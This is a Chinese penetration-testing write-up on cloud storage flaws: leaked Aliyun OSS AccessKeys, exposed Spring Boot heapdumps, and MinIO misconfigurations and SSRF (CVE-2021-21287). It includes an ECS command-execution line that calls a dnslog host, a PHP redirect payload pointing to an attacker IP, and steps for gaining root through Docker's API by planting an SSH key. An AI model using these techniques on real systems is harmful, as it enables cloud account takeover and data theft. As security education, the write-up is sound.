云存储是以数据存储和管理为核心的云计算系统,为我们提供了一种全新的数据存储模式。云存储的安全是不容忽视的,一旦云存储安全出现问题,那么将会比传统的应用漏洞问题更加严重,因为在云存储中的数据都是海量的,如果发生数据泄露,将会造成严重的后果。本文挑选OSS和minIO作为代表并配合实战,讲解相关漏洞,实战内容均是经过授权的渗透测试,并且相关漏洞均已修复。
1、OSS
1.1、AccessKey泄露
如果AccessKey或SecretKey泄露就会导致OSS被完全控制
常见的泄露方式有以下几种:
APK文件硬编码
github关键字
JS文件泄漏
heapdump泄露
拿到AccessKey后的利用方式
第三方平台
API Explorer
开源工具
1.1.1、JS文件泄漏
当前端正常配置OSS的时候,一般会使用子用户、或者临时密钥的方式,但由于一些开发的安全意识不强,会导致前端js文件泄漏AccessKey。
1.1.2、heapdump泄露
Heap Dump仅存在于Springboot项目中,中文名叫堆转储文件,该文件是某个时刻在 JVM 内存中的所有对象的快照。它们对于解决内存泄漏问题和优化 Java 应用程序中的内存使用非常有用。
堆转储通常以二进制格式的 hprof 文件存储。我们可以使用 jhat 或 JVisualVM 等工具打开和分析这些文件,在这里文件中通常有加载到内存中的明文密码信息。
路径:/heapdump,/actuator/heapdump
实战:
1、通过相关接口可判断测试网站为spring boot,且存在heapdump文件泄漏
2、下载heapdump文件并读取阿里云API凭证
3、在heapdump中另外发现了数据库账号密码,获取上万敏感信息
1.1.3、利用
1.1.3.1、第三方平台
可以使用行云管家导入云主机,网站地址:https://yun.cloudbility.com/ ,导入API凭证,可获取到所有机器
1.1.3.2、开源工具
工具利用:
https://github.com/iiiusky/alicloud-tools
执行命令(Getshell):
查看所有实例信息
./AliCloud-Tools -a <AccessKey> -s <SecretKey> ecs --list
执行命令
./AliCloud-Tools -a <AccessKey> -s <SecretKey> [-r <regionId>] ecs exec -I <InstanceId[,InstanceId,InstanceId,...]> -c "curl dnslog"
需注意只有安装云助手才可以执行命令,而且命令并无回显
1.1.3.3、分析
云助手是专为云服务器ECS打造的原生自动化运维工具,通过免密码、免登录、无需使用跳板机的形式,在ECS实例上实现批量运维、执行命令(Shell、Powershell和Bat)和发送文件等操作。典型的使用场景包括:安装卸载软件、启动或停止服务、分发配置文件和执行一般的命令(或脚本)等。
您可以通过ECS控制台或者调用API使用云助手。
业务需求参考文档相关API
新建一份云助手命令。 创建命令● RunCommand ● CreateCommand
所以上面执行命令就是利用的云助手进行的,分析一波源码,直接进入到alicloud-tools-main/cmd/exec.go中,先看到会检测当前实例是否安装了云助手
alicloud-tools-main/core/ecs.go中CheckCloudAssistantStatus 检测云助手安装情况
// CheckCloudAssistantStatus 检测云助手安装情况
func CheckCloudAssistantStatus(regionId, instanceId string) bool {
client, err := common.GetEcsClient(regionId)
if err != nil {
common.Logger().Error(fmt.Sprintf("【检测云助手安装情况】创建客户端发生异常,异常信息为 %s", err.Error()))
return false
}
request := ecs.CreateDescribeCloudAssistantStatusRequest()
request.Scheme = "https"
request.InstanceId = &[]string{instanceId}
response, err := client.DescribeCloudAssistantStatus(request)
if err != nil {
common.Logger().Error(fmt.Sprintf("【检测云助手安装情况】创建检测云助手安装情况请求发生异常,异常信息为 %s", err.Error()))
return false
}
if strings.ToLower(response.InstanceCloudAssistantStatusSet.InstanceCloudAssistantStatus[0].CloudAssistantStatus) != "true" {
return false
}
return true
}
然后OsType自动判断系统类型,如果无法判断,就人工选择
alicloud-tools-main/core/ecs.go中EcsRunCommand 执行命令
// EcsRunCommand 执行命令
func EcsRunCommand(regionId, scriptType, commandContent string, instanceId string) bool {
client, err := common.GetEcsClient(regionId)
if err != nil {
common.Logger().Error(fmt.Sprintf("【执行命令】创建客户端发生异常,异常信息为 %s", err.Error()))
return false
}
request := ecs.CreateRunCommandRequest()
request.Scheme = "https"
request.Type = scriptType
request.CommandContent = commandContent
request.InstanceId = &[]string{instanceId}
if common.Verbose {
requestByte, _ := json.Marshal(request)
fmt.Println(fmt.Sprintf("\r\n EcsRunCommand request is: %s", string(requestByte)))
}
response, err := client.RunCommand(request)
if err != nil {
common.Logger().Error(fmt.Sprintf("【执行命令】创建执行命令请求发生异常,异常信息为 %s", err.Error()))
return false
}
if common.Verbose {
fmt.Println(fmt.Sprintf("\r\n EcsRunCommand response is: %s", response.String()))
}
return response.IsSuccess()
}
2、minio
2.1、GitHub信息泄漏
1、对测试目标小程序解包,得到前端源码
2、通过查看前端源码,发现站点资源指向一个目标地址,github搜索相关关键字,找到泄漏的后端源码,包含诸多敏感信息,包括存储站点资源的minio
3、根据泄漏的key和秘钥,成功登陆minio后台,包含站点所有资源
2.2、Bucket Policy设置不当
如果将Bucket Policy设置为Read and Write
那么当访问http://minio_out_url/bucket_path/
,就会得到一个XML文件,MinIO的Bucket有一个listObjects的功能,默认最多1000条记录,这就意味着如果你打开永久下载链接模式,那么任何人可以通过fuzz bucket路径来获取保存的所有资源信息,从而造成信息泄漏。
2.3、SSRF(CVE-2021-21287)导致信息泄漏
受影响的版本
RELEASE.2019-12-17T23-16-33Z<=版本< RELEASE.2021-01-30T00-20-58Z
影响
攻击者通过操纵 URL 的构建方式(路径遍历等)来读取或更新内部资源。攻击者可以提供或修改服务器上运行的代码将读取或提交数据的 URL,攻击者可能能够读取服务器配置、连接到启用 HTTP 的数据库等内部服务。最严重的情况能导致攻击者直接获取服务器权限。
分析
在cmd/web-handlers.go中,minio将用户发送的Host构造了新的URL,由于Host是用户可控的,所以攻击者可以构造恶意代码,造成SSRF漏洞。
ctx := newWebContext(r, args, "WebLoginSTS")
v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)
scheme := "http"
u := &url.URL{
Scheme: scheme,
Host: r.Host,
}
u.RawQuery = v.Encode()
req, err := http.NewRequest(http.MethodPost, u.String(), nil)
漏洞利用
根据上面分析的源码,构造所需要的内容,Host为攻击ip,我们就能在攻击ip上面看到流量
但可以看到请求是PSOT请求,而且只能控制token参数,并且参数经过了URL编码,无法注入换行符等其他特殊字符,这样子就没有办法深入利用。
但是可以利用Go默认的http库,会跟踪302跳转,而且不论是GET还是POST请求。
使用PHP来简单地构造一个302跳转:
index.php ip指用于接收信息的攻击ip
<?phpheader('Location: http://ip/attack?arbitrary=params');?>
可以看到攻击流量变成了GET请求,那么就可以像大部分的SSRF一样,构造payload进行攻击。
进阶getshell
我们可以利用ssrf漏洞,尝试攻击Docker集群的2375端口,执行docker命令,比如操作container、image等
那么如果当前运行的container,或者image内有代码或者其他敏感信息,就可以继续深入了。
但是执行命令还是docker的环境内,无法直接控制宿主机。
那么怎么才能控制宿主机呢?
可以从docker命令本身下手,docker 运行 container的时候,可以将本地文件或目录作为volume挂载到container内,并且在container内部,这些文件和目录是可以修改的。前提是服务器是否有ssh服务,如果有的话,那么直接把/root/.ssh目录挂载到container内,比如/tmp/.ssh,然后修改/tmp/.ssh/authorized_keys 文件,把自己的public key写进去,修改权限为600,然后就可以以root用户登录了。
详细的利用方式可以看https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
- 本文作者: 苏苏的五彩棒
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1032
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!